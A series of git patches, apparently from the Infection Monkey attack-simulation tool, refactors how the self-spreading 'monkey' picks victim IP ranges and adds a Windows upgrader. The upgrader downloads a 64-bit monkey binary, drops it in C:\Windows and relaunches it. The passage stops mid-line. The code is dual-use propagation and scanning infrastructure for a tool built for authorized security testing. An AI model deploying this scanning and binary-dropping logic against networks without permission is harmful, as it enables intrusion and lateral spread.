From 7ee0ceda750e3fd22f098a2dbcf0f45a5f69bfd7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 20 Feb 2018 16:15:40 +0200 Subject: [PATCH 01/35] Support ranges in fixed_ip_list --- chaos_monkey/network/range.py | 65 +++++++++++++++++++++++++---------- 1 file changed, 46 insertions(+), 19 deletions(-) diff --git a/chaos_monkey/network/range.py b/chaos_monkey/network/range.py index b07828f4b..732749e3e 100644 --- a/chaos_monkey/network/range.py +++ b/chaos_monkey/network/range.py @@ -3,6 +3,8 @@ import socket import struct from abc import ABCMeta, abstractmethod +import ipaddress + from model.host import VictimHost __author__ = 'itamar' @@ -16,6 +18,14 @@ class NetworkRange(object): self._shuffle = shuffle self._config = __import__('config').WormConfiguration + @staticmethod + def _ip_to_number(address): + return struct.unpack(">L", socket.inet_aton(address))[0] + + @staticmethod + def _number_to_ip(num): + return socket.inet_ntoa(struct.pack(">L", num)) + @abstractmethod def _get_range(self): raise NotImplementedError() @@ -26,7 +36,7 @@ class NetworkRange(object): random.shuffle(base_range) for x in base_range: - yield VictimHost(socket.inet_ntoa(struct.pack(">L", self._base_address + x))) + yield VictimHost(self._number_to_ip(self._base_address + x)) class ClassCRange(NetworkRange): @@ -35,8 +45,8 @@ class ClassCRange(NetworkRange): super(ClassCRange, self).__init__(base_address, shuffle=shuffle) def __repr__(self): - return "" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)), - socket.inet_ntoa(struct.pack(">L", self._base_address + 254))) + return "" % (self._number_to_ip(self._base_address + 1), + self._number_to_ip(self._base_address + 254)) def _get_range(self): return range(1, 254) @@ -49,8 +59,8 @@ class RelativeRange(NetworkRange): self._size = 1 def __repr__(self): - return "" % (socket.inet_ntoa(struct.pack(">L", self._base_address - self._size)), - socket.inet_ntoa(struct.pack(">L", self._base_address + self._size))) + return "" % (self._number_to_ip(self._base_address - self._size), + self._number_to_ip(self._base_address + self._size)) def _get_range(self): lower_end = -(self._size / 2) @@ -59,24 +69,41 @@ class RelativeRange(NetworkRange): class FixedRange(NetworkRange): - def __init__(self, fixed_addresses=None, shuffle=True): + def __init__(self, fixed_addresses, shuffle=True): base_address = 0 super(FixedRange, self).__init__(base_address, shuffle=shuffle) - if not fixed_addresses: - self._fixed_addresses = self._config.range_fixed - else: - if type(fixed_addresses) is str: - self._fixed_addresses = [fixed_addresses] - else: - self._fixed_addresses = list(fixed_addresses) + self._fixed_addresses = fixed_addresses def __repr__(self): return "" % (",".join(self._fixed_addresses)) + @staticmethod + def _cidr_range_to_ip_list(address_str): + return [FixedRange._ip_to_number(str(x)) for x in ipaddress.ip_network(unicode(address_str), strict=False)] + + @staticmethod + def _ip_range_to_ip_list(address_str): + addresses = address_str.split('-') + if len(addresses) != 2: + raise ValueError('Illegal address format: %s' % address_str) + lower_end, higher_end = [FixedRange._ip_to_number(x.strip()) for x in addresses] + if higher_end < lower_end: + raise ValueError('Illegal address range: %s' % address_str) + return range(lower_end, higher_end + 1) + + @staticmethod + def _parse_address_str(address_str): + address_str = address_str.strip() + if not address_str: # Empty string + return [] + if -1 != address_str.find('-'): + return FixedRange._ip_range_to_ip_list(address_str) + if -1 != address_str.find('/'): + return FixedRange._cidr_range_to_ip_list(address_str) + return [FixedRange._ip_to_number(address_str)] + def _get_range(self): - address_range = [] - for address in self._fixed_addresses: - if not address: # Empty string - continue - address_range.append(struct.unpack(">L", socket.inet_aton(address.strip()))[0]) - return address_range + ip_list = list(reduce( + lambda x, y: x.union(y), + [set(self._parse_address_str(z)) for z in self._fixed_addresses])) + return [x for x in ip_list if (x & 0xFF != 0)] # remove broadcast ips From d3ce9562242f6e2af4052af4f78db8cfea0eeb04 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 20 Feb 2018 16:21:23 +0200 Subject: [PATCH 02/35] Change description of config value --- monkey_island/cc/services/config.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ea755312f..361854f05 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -223,7 +223,7 @@ SCHEMA = { " Class C Range will scan machines in the Class C network the monkey's on." }, "range_fixed": { - "title": "Fixed range IP list", + "title": "Fixed range IP/subnet list", "type": "array", "uniqueItems": True, "items": { @@ -232,8 +232,9 @@ SCHEMA = { "default": [ ], "description": - "List of IPs to include when using FixedRange" - " (Only relevant for Fixed Range)" + "List of IPs/subnets to include when using FixedRange" + " (Only relevant for Fixed Range)." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" } } } From 898644df7bfb13f993f8fbafd219201155d0756c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 16:11:52 +0200 Subject: [PATCH 03/35] Remove range classes in config network now scans several range classes according to config --- chaos_monkey/config.py | 2 - chaos_monkey/example.conf | 1 - chaos_monkey/network/info.py | 14 +-- chaos_monkey/network/network_scanner.py | 15 +-- chaos_monkey/network/range.py | 127 +++++++++++++++--------- monkey_island/cc/services/config.py | 22 +--- monkey_island/cc/services/report.py | 2 - 7 files changed, 96 insertions(+), 87 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index e62820816..b9a597f8b 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -8,7 +8,6 @@ from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger -from network.range import FixedRange __author__ = 'itamar' @@ -182,7 +181,6 @@ class Configuration(object): # Auto detect and scan local subnets local_network_scan = True - range_class = FixedRange range_fixed = ['', ] blocked_ips = ['', ] diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 6f70f888a..b100cf111 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -7,7 +7,6 @@ "www.google.com" ], "keep_tunnel_open_time": 60, - "range_class": "RelativeRange", "range_fixed": [ "" ], diff --git a/chaos_monkey/network/info.py b/chaos_monkey/network/info.py index 3bab8cb17..30a75780e 100644 --- a/chaos_monkey/network/info.py +++ b/chaos_monkey/network/info.py @@ -8,6 +8,7 @@ import itertools import netifaces from subprocess import check_output from random import randint +from range import CidrRange def get_host_subnets(): @@ -129,7 +130,7 @@ def check_internet_access(services): return False -def get_ips_from_interfaces(): +def get_interfaces_ranges(): """ Returns a list of IPs accessible in the host in each network interface, in the subnet. Limits to a single class C if the network is larger @@ -138,15 +139,14 @@ def get_ips_from_interfaces(): res = [] ifs = get_host_subnets() for net_interface in ifs: - address_str = unicode(net_interface['addr']) - netmask_str = unicode(net_interface['netmask']) - host_address = ipaddress.ip_address(address_str) + address_str = net_interface['addr'] + netmask_str = net_interface['netmask'] ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str)) # limit subnet scans to class C only if ip_interface.network.num_addresses > 255: - ip_interface = ipaddress.ip_interface(u"%s/24" % address_str) - addrs = [str(addr) for addr in ip_interface.network.hosts() if addr != host_address] - res.extend(addrs) + res.append(CidrRange(cidr_range="%s/24" % (address_str, ))) + else: + res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res diff --git a/chaos_monkey/network/network_scanner.py b/chaos_monkey/network/network_scanner.py index 9c1cf897e..a62f4950e 100644 --- a/chaos_monkey/network/network_scanner.py +++ b/chaos_monkey/network/network_scanner.py @@ -2,7 +2,7 @@ import logging import time from config import WormConfiguration -from info import local_ips, get_ips_from_interfaces +from info import local_ips, get_interfaces_ranges from range import * from . import HostScanner @@ -20,9 +20,8 @@ class NetworkScanner(object): def initialize(self): """ - Set up scanning based on configuration - FixedRange -> Reads from range_fixed field in configuration - otherwise, takes a range from every IP address the current host has. + Set up scanning. + based on configuration: scans local network and/or scans fixed list of IPs/subnets. :return: """ # get local ip addresses @@ -33,13 +32,9 @@ class NetworkScanner(object): LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses) # for fixed range, only scan once. - if WormConfiguration.range_class is FixedRange: - self._ranges = [WormConfiguration.range_class(fixed_addresses=WormConfiguration.range_fixed)] - else: - self._ranges = [WormConfiguration.range_class(ip_address) - for ip_address in self._ip_addresses] + self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.range_fixed] if WormConfiguration.local_network_scan: - self._ranges += [FixedRange([ip_address for ip_address in get_ips_from_interfaces()])] + self._ranges += get_interfaces_ranges() LOG.info("Base local networks to scan are: %r", self._ranges) def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): diff --git a/chaos_monkey/network/range.py b/chaos_monkey/network/range.py index 732749e3e..2698d6803 100644 --- a/chaos_monkey/network/range.py +++ b/chaos_monkey/network/range.py @@ -18,6 +18,32 @@ class NetworkRange(object): self._shuffle = shuffle self._config = __import__('config').WormConfiguration + def get_range(self): + return [x for x in self._get_range() if (x & 0xFF != 0)] # remove broadcast ips + + def __iter__(self): + base_range = self.get_range() + if self._shuffle: + random.shuffle(base_range) + + for x in base_range: + yield VictimHost(self._number_to_ip(self._base_address + x)) + + @abstractmethod + def _get_range(self): + raise NotImplementedError() + + @staticmethod + def get_range_obj(address_str): + address_str = address_str.strip() + if not address_str: # Empty string + return None + if -1 != address_str.find('-'): + return IpRange(ip_range=address_str) + if -1 != address_str.find('/'): + return CidrRange(cidr_range=address_str) + return SingleIpRange(ip_address=address_str) + @staticmethod def _ip_to_number(address): return struct.unpack(">L", socket.inet_aton(address))[0] @@ -26,18 +52,6 @@ class NetworkRange(object): def _number_to_ip(num): return socket.inet_ntoa(struct.pack(">L", num)) - @abstractmethod - def _get_range(self): - raise NotImplementedError() - - def __iter__(self): - base_range = self._get_range() - if self._shuffle: - random.shuffle(base_range) - - for x in base_range: - yield VictimHost(self._number_to_ip(self._base_address + x)) - class ClassCRange(NetworkRange): def __init__(self, base_address, shuffle=True): @@ -68,42 +82,65 @@ class RelativeRange(NetworkRange): return range(lower_end, higher_end + 1) -class FixedRange(NetworkRange): - def __init__(self, fixed_addresses, shuffle=True): +class CidrRange(NetworkRange): + def __init__(self, cidr_range, shuffle=True): base_address = 0 - super(FixedRange, self).__init__(base_address, shuffle=shuffle) - self._fixed_addresses = fixed_addresses + super(CidrRange, self).__init__(base_address, shuffle=shuffle) + self._cidr_range = cidr_range.strip() + self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False) def __repr__(self): - return "" % (",".join(self._fixed_addresses)) + return "" % (self._cidr_range, ) - @staticmethod - def _cidr_range_to_ip_list(address_str): - return [FixedRange._ip_to_number(str(x)) for x in ipaddress.ip_network(unicode(address_str), strict=False)] - - @staticmethod - def _ip_range_to_ip_list(address_str): - addresses = address_str.split('-') - if len(addresses) != 2: - raise ValueError('Illegal address format: %s' % address_str) - lower_end, higher_end = [FixedRange._ip_to_number(x.strip()) for x in addresses] - if higher_end < lower_end: - raise ValueError('Illegal address range: %s' % address_str) - return range(lower_end, higher_end + 1) - - @staticmethod - def _parse_address_str(address_str): - address_str = address_str.strip() - if not address_str: # Empty string - return [] - if -1 != address_str.find('-'): - return FixedRange._ip_range_to_ip_list(address_str) - if -1 != address_str.find('/'): - return FixedRange._cidr_range_to_ip_list(address_str) - return [FixedRange._ip_to_number(address_str)] + def is_in_range(self, ip_address): + return ipaddress.ip_address(ip_address) in self._ip_network def _get_range(self): - ip_list = list(reduce( - lambda x, y: x.union(y), - [set(self._parse_address_str(z)) for z in self._fixed_addresses])) - return [x for x in ip_list if (x & 0xFF != 0)] # remove broadcast ips + return [CidrRange._ip_to_number(str(x)) for x in self._ip_network] + + +class IpRange(NetworkRange): + def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True): + base_address = 0 + super(IpRange, self).__init__(base_address, shuffle=shuffle) + if ip_range is not None: + addresses = ip_range.split('-') + if len(addresses) != 2: + raise ValueError('Illegal IP range format: %s' % ip_range) + self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] + if self._higher_end_ip < self._lower_end_ip: + raise ValueError('Higher end IP is smaller than lower end IP: %s' % ip_range) + elif (lower_end_ip is not None) and (higher_end_ip is not None): + self._lower_end_ip = lower_end_ip + self._higher_end_ip = higher_end_ip + else: + raise ValueError('Illegal IP range: %s' % ip_range) + + self._lower_end_ip_num = IpRange._ip_to_number(self._lower_end_ip) + self._higher_end_ip_num = IpRange._ip_to_number(self._higher_end_ip) + + def __repr__(self): + return "" % (self._lower_end_ip, self._higher_end_ip) + + def is_in_range(self, ip_address): + return self._lower_end_ip_num <= IpRange._ip_to_number(ip_address) <= self._higher_end_ip_num + + def _get_range(self): + return range(self._lower_end_ip_num, self._higher_end_ip_num + 1) + + +class SingleIpRange(NetworkRange): + def __init__(self, ip_address, shuffle=True): + base_address = 0 + super(SingleIpRange, self).__init__(base_address, shuffle=shuffle) + self._ip_address = ip_address + + def __repr__(self): + return "" % (self._ip_address,) + + def is_in_range(self, ip_address): + return self._ip_address == ip_address + + def _get_range(self): + return [SingleIpRange._ip_to_number(self._ip_address)] + diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 361854f05..f5aae69b4 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -205,25 +205,8 @@ SCHEMA = { "title": "Network range", "type": "object", "properties": { - "range_class": { - "title": "Range class", - "type": "string", - "default": "FixedRange", - "enum": [ - "FixedRange", - "ClassCRange" - ], - "enumNames": [ - "Fixed Range", - "Class C Range" - ], - "description": - "Determines which class to use to determine scan range." - " Fixed Range will scan only specific IPs listed under Fixed range IP list." - " Class C Range will scan machines in the Class C network the monkey's on." - }, "range_fixed": { - "title": "Fixed range IP/subnet list", + "title": "Scan IP/subnet list", "type": "array", "uniqueItems": True, "items": { @@ -232,8 +215,7 @@ SCHEMA = { "default": [ ], "description": - "List of IPs/subnets to include when using FixedRange" - " (Only relevant for Fixed Range)." + "List of IPs/subnets the monkey should scan." " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" } } diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index c197c55f3..848b572bc 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -315,8 +315,6 @@ class ReportService: @staticmethod def get_config_ips(): - if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True) != 'FixedRange': - return [] return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True) @staticmethod From 0de15736ac54c68061f88d6471d74b4df598e131 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 16:34:23 +0200 Subject: [PATCH 04/35] rename and move range_fixed --- infection_monkey/config.py | 2 +- infection_monkey/example.conf | 2 +- infection_monkey/network/network_scanner.py | 2 +- monkey_island/cc/services/config.py | 10 ++-------- monkey_island/cc/services/report.py | 2 +- 5 files changed, 6 insertions(+), 12 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index b9a597f8b..d4710f906 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -181,7 +181,7 @@ class Configuration(object): # Auto detect and scan local subnets local_network_scan = True - range_fixed = ['', ] + subnet_scan_list = ['', ] blocked_ips = ['', ] diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index b100cf111..852c366d0 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -7,7 +7,7 @@ "www.google.com" ], "keep_tunnel_open_time": 60, - "range_fixed": [ + "subnet_scan_list": [ "" ], "blocked_ips": [""], diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index a62f4950e..7bdddc904 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -32,7 +32,7 @@ class NetworkScanner(object): LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses) # for fixed range, only scan once. - self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.range_fixed] + self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list] if WormConfiguration.local_network_scan: self._ranges += get_interfaces_ranges() LOG.info("Base local networks to scan are: %r", self._ranges) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 133890760..a4b31728d 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -198,14 +198,8 @@ SCHEMA = { "Amount of hops allowed for the monkey to spread from the island. " + WARNING_SIGN + " Note that setting this value too high may result in the monkey propagating too far" - } - } - }, - "network_range": { - "title": "Network range", - "type": "object", - "properties": { - "range_fixed": { + }, + "subnet_scan_list": { "title": "Scan IP/subnet list", "type": "array", "uniqueItems": True, diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 848b572bc..250acc17a 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -315,7 +315,7 @@ class ReportService: @staticmethod def get_config_ips(): - return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True) + return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True) @staticmethod def get_config_scan(): From 4730480db96c1642582afa26f2325f1619195bdd Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:35:00 +0200 Subject: [PATCH 05/35] Remove ClassCRange and RelativeRange --- infection_monkey/network/range.py | 29 ----------------------------- 1 file changed, 29 deletions(-) diff --git a/infection_monkey/network/range.py b/infection_monkey/network/range.py index 2698d6803..4e100378e 100644 --- a/infection_monkey/network/range.py +++ b/infection_monkey/network/range.py @@ -53,35 +53,6 @@ class NetworkRange(object): return socket.inet_ntoa(struct.pack(">L", num)) -class ClassCRange(NetworkRange): - def __init__(self, base_address, shuffle=True): - base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] & 0xFFFFFF00 - super(ClassCRange, self).__init__(base_address, shuffle=shuffle) - - def __repr__(self): - return "" % (self._number_to_ip(self._base_address + 1), - self._number_to_ip(self._base_address + 254)) - - def _get_range(self): - return range(1, 254) - - -class RelativeRange(NetworkRange): - def __init__(self, base_address, shuffle=True): - base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] - super(RelativeRange, self).__init__(base_address, shuffle=shuffle) - self._size = 1 - - def __repr__(self): - return "" % (self._number_to_ip(self._base_address - self._size), - self._number_to_ip(self._base_address + self._size)) - - def _get_range(self): - lower_end = -(self._size / 2) - higher_end = lower_end + self._size - return range(lower_end, higher_end + 1) - - class CidrRange(NetworkRange): def __init__(self, cidr_range, shuffle=True): base_address = 0 From 816be5191bd127ef73caa48bb66ebf93cfad8c23 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:35:32 +0200 Subject: [PATCH 06/35] Add is_in_range as abstract method --- infection_monkey/network/range.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/infection_monkey/network/range.py b/infection_monkey/network/range.py index 4e100378e..4eb4e122c 100644 --- a/infection_monkey/network/range.py +++ b/infection_monkey/network/range.py @@ -29,6 +29,10 @@ class NetworkRange(object): for x in base_range: yield VictimHost(self._number_to_ip(self._base_address + x)) + @abstractmethod + def is_in_range(self, ip_address): + raise NotImplementedError() + @abstractmethod def _get_range(self): raise NotImplementedError() From e57ce1099f4a830113ee31094118638c6cb7cf84 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:53:16 +0200 Subject: [PATCH 07/35] Remove unecessary parameters and members. Create better abstraction --- infection_monkey/network/network_scanner.py | 3 ++- infection_monkey/network/range.py | 20 ++++++-------------- 2 files changed, 8 insertions(+), 15 deletions(-) diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index 7bdddc904..df1b4f369 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -45,7 +45,8 @@ class NetworkScanner(object): for net_range in self._ranges: LOG.debug("Scanning for potential victims in the network %r", net_range) - for victim in net_range: + for ip_addr in net_range: + victim = VictimHost(ip_addr) if stop_callback and stop_callback(): LOG.debug("Got stop signal") break diff --git a/infection_monkey/network/range.py b/infection_monkey/network/range.py index 4eb4e122c..31a88e0df 100644 --- a/infection_monkey/network/range.py +++ b/infection_monkey/network/range.py @@ -5,18 +5,14 @@ from abc import ABCMeta, abstractmethod import ipaddress -from model.host import VictimHost - __author__ = 'itamar' class NetworkRange(object): __metaclass__ = ABCMeta - def __init__(self, base_address, shuffle=True): - self._base_address = base_address + def __init__(self, shuffle=True): self._shuffle = shuffle - self._config = __import__('config').WormConfiguration def get_range(self): return [x for x in self._get_range() if (x & 0xFF != 0)] # remove broadcast ips @@ -27,7 +23,7 @@ class NetworkRange(object): random.shuffle(base_range) for x in base_range: - yield VictimHost(self._number_to_ip(self._base_address + x)) + yield self._number_to_ip(x) @abstractmethod def is_in_range(self, ip_address): @@ -59,13 +55,12 @@ class NetworkRange(object): class CidrRange(NetworkRange): def __init__(self, cidr_range, shuffle=True): - base_address = 0 - super(CidrRange, self).__init__(base_address, shuffle=shuffle) + super(CidrRange, self).__init__(shuffle=shuffle) self._cidr_range = cidr_range.strip() self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False) def __repr__(self): - return "" % (self._cidr_range, ) + return "" % (self._cidr_range,) def is_in_range(self, ip_address): return ipaddress.ip_address(ip_address) in self._ip_network @@ -76,8 +71,7 @@ class CidrRange(NetworkRange): class IpRange(NetworkRange): def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True): - base_address = 0 - super(IpRange, self).__init__(base_address, shuffle=shuffle) + super(IpRange, self).__init__(shuffle=shuffle) if ip_range is not None: addresses = ip_range.split('-') if len(addresses) != 2: @@ -106,8 +100,7 @@ class IpRange(NetworkRange): class SingleIpRange(NetworkRange): def __init__(self, ip_address, shuffle=True): - base_address = 0 - super(SingleIpRange, self).__init__(base_address, shuffle=shuffle) + super(SingleIpRange, self).__init__(shuffle=shuffle) self._ip_address = ip_address def __repr__(self): @@ -118,4 +111,3 @@ class SingleIpRange(NetworkRange): def _get_range(self): return [SingleIpRange._ip_to_number(self._ip_address)] - From 1d07e5f98fc792cbf3ea513b6106570a72d3a181 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 18:39:49 +0200 Subject: [PATCH 08/35] Move range to common code folder --- common/__init__.py | 1 + common/network/__init__.py | 1 + {infection_monkey => common}/network/range.py | 0 infection_monkey/monkey-linux.spec | 2 +- infection_monkey/monkey.spec | 2 +- infection_monkey/network/info.py | 2 +- infection_monkey/network/network_scanner.py | 3 ++- 7 files changed, 7 insertions(+), 4 deletions(-) create mode 100644 common/__init__.py create mode 100644 common/network/__init__.py rename {infection_monkey => common}/network/range.py (100%) diff --git a/common/__init__.py b/common/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/common/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/common/network/__init__.py b/common/network/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/common/network/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/infection_monkey/network/range.py b/common/network/range.py similarity index 100% rename from infection_monkey/network/range.py rename to common/network/range.py diff --git a/infection_monkey/monkey-linux.spec b/infection_monkey/monkey-linux.spec index c8c4c631b..fac69536e 100644 --- a/infection_monkey/monkey-linux.spec +++ b/infection_monkey/monkey-linux.spec @@ -4,7 +4,7 @@ block_cipher = None a = Analysis(['main.py'], - pathex=['.'], + pathex=['.', '..'], binaries=None, datas=None, hiddenimports=['_cffi_backend'], diff --git a/infection_monkey/monkey.spec b/infection_monkey/monkey.spec index 8e004145b..cb9c6130e 100644 --- a/infection_monkey/monkey.spec +++ b/infection_monkey/monkey.spec @@ -2,7 +2,7 @@ import os import platform a = Analysis(['main.py'], - pathex=['.'], + pathex=['.', '..'], hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) diff --git a/infection_monkey/network/info.py b/infection_monkey/network/info.py index 30a75780e..da30e7b0f 100644 --- a/infection_monkey/network/info.py +++ b/infection_monkey/network/info.py @@ -8,7 +8,7 @@ import itertools import netifaces from subprocess import check_output from random import randint -from range import CidrRange +from common.network.range import CidrRange def get_host_subnets(): diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index df1b4f369..7837e36c3 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -3,7 +3,8 @@ import time from config import WormConfiguration from info import local_ips, get_interfaces_ranges -from range import * +from common.network.range import * +from model import VictimHost from . import HostScanner __author__ = 'itamar' From 8509eef48e7053550a3ebc9093cff67ab9af5e0d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 14:10:01 +0200 Subject: [PATCH 09/35] Add basic logic to windows upgrade --- infection_monkey/config.py | 2 ++ infection_monkey/example.conf | 1 + infection_monkey/monkey.py | 24 ++++++++----- infection_monkey/windows_upgrader.py | 53 ++++++++++++++++++++++++++++ monkey_island/cc/services/config.py | 7 ++++ 5 files changed, 79 insertions(+), 8 deletions(-) create mode 100644 infection_monkey/windows_upgrader.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index e62820816..633534b84 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -116,6 +116,8 @@ class Configuration(object): dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' dropper_target_path = r"C:\Windows\monkey.exe" + # TODO: move and rename + dropper_upgrade_win_64_temp_path = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' ########################### diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6f70f888a..3ebe3f122 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -23,6 +23,7 @@ "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, "dropper_target_path": "C:\\Windows\\monkey.exe", + "dropper_upgrade_win_64_temp_path": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 22be2cf46..b05d94fd4 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -13,6 +13,7 @@ from network.firewall import app as firewall from network.network_scanner import NetworkScanner from system_info import SystemInfoCollector from system_singleton import SystemSingleton +from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -34,6 +35,7 @@ class InfectionMonkey(object): self._fingerprint = None self._default_server = None self._depth = 0 + self._opts = None def initialize(self): LOG.info("Monkey is initializing...") @@ -46,13 +48,13 @@ class InfectionMonkey(object): arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth') - opts, self._args = arg_parser.parse_known_args(self._args) + self._opts, self._args = arg_parser.parse_known_args(self._args) - self._parent = opts.parent - self._default_tunnel = opts.tunnel - self._default_server = opts.server - if opts.depth: - WormConfiguration.depth = int(opts.depth) + self._parent = self._opts.parent + self._default_tunnel = self._opts.tunnel + self._default_server = self._opts.server + if self._opts.depth: + WormConfiguration.depth = int(self._opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() @@ -66,6 +68,10 @@ class InfectionMonkey(object): LOG.debug("Default server: %s is already in command servers list" % self._default_server) def start(self): + if WindowsUpgrader.should_upgrade(): + WindowsUpgrader.upgrade(self._opts) + return + LOG.info("Monkey is running...") if firewall.is_enabled(): @@ -226,9 +232,11 @@ class InfectionMonkey(object): firewall.close() - self._singleton.unlock() + if not WindowsUpgrader.should_upgrade(): + self._singleton.unlock() - if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'): + if WormConfiguration.self_delete_in_cleanup \ + and -1 == sys.executable.find('python') and not WindowsUpgrader.should_upgrade(): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py new file mode 100644 index 000000000..1c6049cfd --- /dev/null +++ b/infection_monkey/windows_upgrader.py @@ -0,0 +1,53 @@ +import os +import struct +import sys + +import monkeyfs +from config import WormConfiguration +from control import ControlClient +from exploit.tools import build_monkey_commandline_explicitly +from model import DROPPER_CMDLINE_WINDOWS + +__author__ = 'itay.mizeretz' + +if "win32" == sys.platform: + from win32process import DETACHED_PROCESS +else: + DETACHED_PROCESS = 0 + + +class WindowsUpgrader(object): + @staticmethod + def is_64bit_os(): + return os.environ.has_key('PROGRAMFILES(X86)') + + @staticmethod + def is_64bit_python(): + return struct.calcsize("P") == 8 + + @staticmethod + def is_windows_os(): + return sys.platform.startswith("win") + + @staticmethod + def should_upgrade(): + return WindowsUpgrader.is_windows_os() and WindowsUpgrader.is_64bit_os() \ + and not WindowsUpgrader.is_64bit_python() + + @staticmethod + def upgrade(opts): + monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) + with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: + monkey_bin = downloaded_monkey_file.read() + with open(WormConfiguration.dropper_upgrade_win_64_temp_path, 'wb') as written_monkey_file: + written_monkey_file.write(monkey_bin) + + monkey_options = build_monkey_commandline_explicitly( + opts.parent, opts.tunnel, opts.server, int(opts.depth)) + + monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { + 'monkey_path': WormConfiguration.dropper_target_path} + monkey_options + monkey_process = 